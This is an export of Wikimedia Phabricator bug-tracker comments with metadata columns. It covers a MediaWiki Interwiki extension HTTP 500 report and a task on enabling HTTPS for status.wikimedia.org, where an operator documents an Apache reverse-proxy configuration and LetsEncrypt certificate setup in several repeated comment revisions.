+Ops change is https://gerrit.wikimedia.org/r/1669 , pending review, merge ...",,,1324492963,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-88,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+35169,HTTP 500 - internal Server error,"**Author:** `thomas.kujawa`
+
+**Description:**
+Can anyone help me to fix the error ?
+
+This is the error: http://www.familienfreund.de/wiki/Spezial:Interwiki
+
+This are my versions: http://www.familienfreund.de/wiki/Spezial:Version
+
+This is the part of my local settings:
+
+# Erweiterung Interwiki
+require_once(""extensions/Interwiki/Interwiki.php"");
+$wgGroupPermissions['*']['interwiki'] = false;
+$wgGroupPermissions['sysop']['interwiki'] = true;
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: other
+**Platform**: Other
+**URL**: http://www.familienfreund.de",Medium,50.0,1323968520,1324514017.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ujgxgemvvnjedxw4jist,task_description,invalid,True,c2,1,False,False,True,-89,True,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1
+160717,HTTP 500 - internal Server error,Resolving invalid per comment 2 and comment 1,,,1324514017,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+160712,HTTP 500 - internal Server error,"Please look at the version numbers under [[mw:Extension:Interwiki#Download]]. You have MW 1.18 and Interwiki 2.0, but 1.4.1 should be used on 1.18.",,,1324208274,,PHID-USER-th6xijvyee7wqsk7bc67,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+160710,HTTP 500 - internal Server error,"A bug tracker is not a help forum. You should ask in mediawiki-l instead.
+
+What's does your php error log show?",,,1323968734,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+34796,status.wikimedia.org has no (valid) HTTPS,"Currently, status.wikimedia.org has no HTTPS at all.  I suspect this was the ""workaround"" for it having an incorrect certificate in the past.
+
+Previous description: status.wikimedia.org is using an security certificate from *.io.watchmouse.com which give a warning in IE and Chrome.
+
+Is it possible to install a wikimedia certificate on that domain? Thanks.",Medium,50.0,1323026640,1464907714.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_description,resolved,True,c2,1,False,False,False,-91,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+673705,status.wikimedia.org has no (valid) HTTPS,"(note, above has been edited a few times to correct missing stuff, will keep doing that so this task serves as a good reference)",,,1464909531,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+673704,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!
+
+For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:
+
+1. Created a local `acme` user and group that can't log in
+2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
+3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
+4. Installed the letsencrypt X3 and X4 intermediates in /usr/local/share/ca-certificates and ran update-ca-certificates.
+5. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
+6. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
+```
+lines=20
+# vim: filetype=apache
+
+<VirtualHost *:80>
+	ServerAdmin noc@wikimedia.org
+        ServerName status.wikimedia.org
+
+	SSLEngine off
+	
+	RewriteEngine on
+	RewriteCond %{SERVER_PORT} !^443$
+	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel warn
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+<VirtualHost *:443>
+	ServerAdmin noc@wikimedia.org 
+	ServerName status.wikimedia.org
+
+        SSLEngine on
+        SSLCertificateFile /etc/acme/cert/status.chained.crt
+        SSLCertificateKeyFile /etc/acme/key/status.key
+  	SSLProtocol all -SSLv2 -SSLv3
+	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
+	SSLHonorCipherOrder On
+	Header always set Strict-Transport-Security ""max-age=31536000""
+
+	<Location />
+		ProxyPass ""http://status.asm.ca.com/8777/""
+		ProxyPassReverse ""http://status.asm.ca.com/8777/""
+		RequestHeader unset Accept-Encoding
+		Header always set Content-Security-Policy upgrade-insecure-requests
+		ProxyHTMLEnable On
+		ProxyHTMLExtended On
+		ProxyHTMLLinks	a		href
+		ProxyHTMLLinks	area		href
+		ProxyHTMLLinks	link		href
+		ProxyHTMLLinks	img		src longdesc usemap
+		ProxyHTMLLinks	object		classid codebase data usemap
+		ProxyHTMLLinks	q		cite
+		ProxyHTMLLinks	blockquote	cite
+		ProxyHTMLLinks	ins		cite
+		ProxyHTMLLinks	del		cite
+		ProxyHTMLLinks	form		action
+		ProxyHTMLLinks	input		src usemap
+		ProxyHTMLLinks	head		profile
+		ProxyHTMLLinks	base		href
+		ProxyHTMLLinks	script		src for
+		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
+   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
+		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
+   		ProxyHTMLURLMap http:// https:// [i]
+		SetOutputFilter proxy-html
+	</Location>
+        <Location /.mongocache>
+		ProxyPass ""http://mongocache.asm.ca.com/""
+		ProxyPassReverse ""http://mongocache.asm.ca.com/""
+        </Location>
+
+	<Location /.well-known/acme-challenge>
+		ProxyPass ""!""
+	</Location>
+
+	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
+	<IfVersion >= 2.4>
+    	<Directory ""/var/acme/challenge"">
+       		Require all granted
+    	</Directory>
+	</IfVersion>
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel debug
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+```
+7. Ran the initial acme-setup for self-signed:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
+8. Reloaded apache2
+9. Re-run to get a real cert:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
+10. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464909509,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+673688,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!
+
+For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:
+
+1. Created a local `acme` user and group that can't log in
+2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
+3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
+4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
+5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
+```
+lines=20
+# vim: filetype=apache
+
+<VirtualHost *:80>
+	ServerAdmin noc@wikimedia.org
+        ServerName status.wikimedia.org
+
+	SSLEngine off
+	
+	RewriteEngine on
+	RewriteCond %{SERVER_PORT} !^443$
+	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel warn
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+<VirtualHost *:443>
+	ServerAdmin noc@wikimedia.org 
+	ServerName status.wikimedia.org
+
+        SSLEngine on
+        SSLCertificateFile /etc/acme/cert/status.chained.crt
+        SSLCertificateKeyFile /etc/acme/key/status.key
+  	SSLProtocol all -SSLv2 -SSLv3
+	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
+	SSLHonorCipherOrder On
+	Header always set Strict-Transport-Security ""max-age=31536000""
+
+	<Location />
+		ProxyPass ""http://status.asm.ca.com/8777/""
+		ProxyPassReverse ""http://status.asm.ca.com/8777/""
+		RequestHeader unset Accept-Encoding
+		Header always set Content-Security-Policy upgrade-insecure-requests
+		ProxyHTMLEnable On
+		ProxyHTMLExtended On
+		ProxyHTMLLinks	a		href
+		ProxyHTMLLinks	area		href
+		ProxyHTMLLinks	link		href
+		ProxyHTMLLinks	img		src longdesc usemap
+		ProxyHTMLLinks	object		classid codebase data usemap
+		ProxyHTMLLinks	q		cite
+		ProxyHTMLLinks	blockquote	cite
+		ProxyHTMLLinks	ins		cite
+		ProxyHTMLLinks	del		cite
+		ProxyHTMLLinks	form		action
+		ProxyHTMLLinks	input		src usemap
+		ProxyHTMLLinks	head		profile
+		ProxyHTMLLinks	base		href
+		ProxyHTMLLinks	script		src for
+		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
+   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
+		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
+   		ProxyHTMLURLMap http:// https:// [i]
+		SetOutputFilter proxy-html
+	</Location>
+        <Location /.mongocache>
+		ProxyPass ""http://mongocache.asm.ca.com/""
+		ProxyPassReverse ""http://mongocache.asm.ca.com/""
+        </Location>
+
+	<Location /.well-known/acme-challenge>
+		ProxyPass ""!""
+	</Location>
+
+	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
+	<IfVersion >= 2.4>
+    	<Directory ""/var/acme/challenge"">
+       		Require all granted
+    	</Directory>
+	</IfVersion>
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel debug
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+```
+6. Ran the initial acme-setup for self-signed:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
+7. Reloaded apache2
+8. Re-run to get a real cert:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
+9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464908044,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+673687,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!
+
+For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:
+
+1. Created a local `acme` user and group that can't log in
+2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
+3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
+4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
+5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
+```
+lines=20
+# vim: filetype=apache
+
+<VirtualHost *:80>
+	ServerAdmin noc@wikimedia.org
+        ServerName status.wikimedia.org
+
+	SSLEngine off
+	
+	RewriteEngine on
+	RewriteCond %{SERVER_PORT} !^443$
+	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel warn
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+<VirtualHost *:443>
+	ServerAdmin noc@wikimedia.org 
+	ServerName status.wikimedia.org
+
+        SSLEngine on
+        SSLCertificateFile /etc/acme/cert/status.chained.crt
+        SSLCertificateKeyFile /etc/acme/key/status.key
+  	SSLProtocol all -SSLv2 -SSLv3
+	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
+	SSLHonorCipherOrder On
+	Header always set Strict-Transport-Security ""max-age=31536000""
+
+	<Location />
+		ProxyPass ""http://status.asm.ca.com/8777/""
+		ProxyPassReverse ""http://status.asm.ca.com/8777/""
+		#ProxyPreserveHost On
+		RequestHeader unset Accept-Encoding
+		Header always set Content-Security-Policy upgrade-insecure-requests
+		ProxyHTMLEnable On
+		ProxyHTMLExtended On
+		ProxyHTMLLinks	a		href
+		ProxyHTMLLinks	area		href
+		ProxyHTMLLinks	link		href
+		ProxyHTMLLinks	img		src longdesc usemap
+		ProxyHTMLLinks	object		classid codebase data usemap
+		ProxyHTMLLinks	q		cite
+		ProxyHTMLLinks	blockquote	cite
+		ProxyHTMLLinks	ins		cite
+		ProxyHTMLLinks	del		cite
+		ProxyHTMLLinks	form		action
+		ProxyHTMLLinks	input		src usemap
+		ProxyHTMLLinks	head		profile
+		ProxyHTMLLinks	base		href
+		ProxyHTMLLinks	script		src for
+		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
+   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
+		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
+   		ProxyHTMLURLMap http:// https:// [i]
+		SetOutputFilter proxy-html
+	</Location>
+        <Location /.mongocache>
+		ProxyPass ""http://mongocache.asm.ca.com/""
+		ProxyPassReverse ""http://mongocache.asm.ca.com/""
+        </Location>
+
+	<Location /.well-known/acme-challenge>
+		ProxyPass ""!""
+	</Location>
+
+	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
+	<IfVersion >= 2.4>
+    	<Directory ""/var/acme/challenge"">
+       		Require all granted
+    	</Directory>
+	</IfVersion>
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel debug
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+```
+6. Ran the initial acme-setup for self-signed:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
+7. Reloaded apache2
+8. Re-run to get a real cert:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
+9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464907980,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+673683,status.wikimedia.org has no (valid) HTTPS,"I've moved the stats.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!
+
+For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:
+
+1. Created a local `acme` user and group that can't log in
+2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
+3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
+4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
+5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
+```
+lines=20
+# vim: filetype=apache
+
+<VirtualHost *:80>
+	ServerAdmin noc@wikimedia.org
+        ServerName status.wikimedia.org
+
+	SSLEngine off
+	
+	RewriteEngine on
+	RewriteCond %{SERVER_PORT} !^443$
+	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel warn
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+<VirtualHost *:443>
+	ServerAdmin noc@wikimedia.org 
+	ServerName status.wikimedia.org
+
+        SSLEngine on
+        SSLCertificateFile /etc/acme/cert/status.chained.crt
+        SSLCertificateKeyFile /etc/acme/key/status.key
+  	SSLProtocol all -SSLv2 -SSLv3
+	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
+	SSLHonorCipherOrder On
+	Header always set Strict-Transport-Security ""max-age=31536000""
+
+	<Location />
+		ProxyPass ""http://status.asm.ca.com/8777/""
+		ProxyPassReverse ""http://status.asm.ca.com/8777/""
+		#ProxyPreserveHost On
+		RequestHeader unset Accept-Encoding
+		Header always set Content-Security-Policy upgrade-insecure-requests
+		ProxyHTMLEnable On
+		ProxyHTMLExtended On
+		ProxyHTMLLinks	a		href
+		ProxyHTMLLinks	area		href
+		ProxyHTMLLinks	link		href
+		ProxyHTMLLinks	img		src longdesc usemap
+		ProxyHTMLLinks	object		classid codebase data usemap
+		ProxyHTMLLinks	q		cite
+		ProxyHTMLLinks	blockquote	cite
+		ProxyHTMLLinks	ins		cite
+		ProxyHTMLLinks	del		cite
+		ProxyHTMLLinks	form		action
+		ProxyHTMLLinks	input		src usemap
+		ProxyHTMLLinks	head		profile
+		ProxyHTMLLinks	base		href
+		ProxyHTMLLinks	script		src for
+		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
+   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
+		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
+   		ProxyHTMLURLMap http:// https:// [i]
+		SetOutputFilter proxy-html
+	</Location>
+        <Location /.mongocache>
+		ProxyPass ""http://mongocache.asm.ca.com/""
+		ProxyPassReverse ""http://mongocache.asm.ca.com/""
+        </Location>
+
+	<Location /.well-known/acme-challenge>
+		ProxyPass ""!""
+	</Location>
+
+	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
+	<IfVersion >= 2.4>
+    	<Directory ""/var/acme/challenge"">
+       		Require all granted
+    	</Directory>
+	</IfVersion>
+
+	ErrorLog /var/log/apache2/error.log
+
+	# Possible values include: debug, info, notice, warn, error, crit,
+	# alert, emerg.
+	LogLevel debug
+
+	CustomLog /var/log/apache2/access.log combined
+	ServerSignature Off
+
+</VirtualHost>
+```
+6. Ran the initial acme-setup for self-signed:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
+7. Reloaded apache2
+8. Re-run to get a real cert:
+```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
+9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464907714,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+673599,status.wikimedia.org has no (valid) HTTPS,"Change 292482 merged by BBlack:
+status -> wikitech-static hosting T34796
+
+[[https://gerrit.wikimedia.org/r/292482]]",,,1464902503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,False,,,144,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+673598,status.wikimedia.org has no (valid) HTTPS,"Change 292482 had a related patch set uploaded (by BBlack):
+status -> wikitech-static hosting T34796
+
+[[https://gerrit.wikimedia.org/r/292482]]
+",,,1464902456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,False,,,144,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+661559,status.wikimedia.org has no (valid) HTTPS,"it's ok, we can just copy down the acme-setup script as it exists today (well, and acme-tiny).  for a 1-2 cert setup like this, it's not hard to use it puppet-free from cron I think.",,,1463092717,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
